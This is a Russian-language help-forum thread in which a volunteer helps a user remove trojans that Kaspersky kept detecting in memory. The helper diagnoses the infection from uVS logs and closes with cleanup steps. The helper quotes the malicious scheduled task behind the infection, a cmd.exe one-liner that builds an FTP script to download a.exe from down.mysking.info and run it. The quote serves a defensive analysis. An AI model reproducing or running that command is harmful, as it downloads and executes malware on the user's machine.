Трояны в System Memory

[Saltant 0]

Скрипт выполнил, но кажется там с ошибкой, что то не удалилось. Прикрепляю лог выполнения скрипта и архив ZOO (пароль: virus)

 

2017-06-05_01-11-56_log.txt

 

[SQ 831]

Приложите новые логи утилиты uVS.

[Saltant 0]

Прикрепляю новые логи утилиты Universal Virus Sniffer

 

SALTANT-PK_2017-06-05_04-28-02.7z

[SQ 831]

Сообщите, что с проблемой?

[Saltant 0]

Пока новых троянцев касперский в памяти не вылавливал, я так и не понял откуда они вообще лезли. Надеюсь то что мы тут делали, помогло закрыть им дорогу и я их больше не увижу.

[SQ 831]

Первоначально была задача в планировщике задач:
 

O22 - Task (Ready): Mysa - C:\Windows\system32\cmd.exe /c echo open down.mysking.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe>>s&echo bye>>s&ftp -s:s&a.exe

Далее почистили остатки, в логах, больше ничего плохого не заметил.

[Saltant 0]

Спасибо большое, недеюсь больше ничего не подцеплю

[SQ 831]

Запустите AdwCleaner и нажмите Деинсталлировать (Uninstall).

Удалите папку C:\FRST со всем содержимым.

Удачи Вам!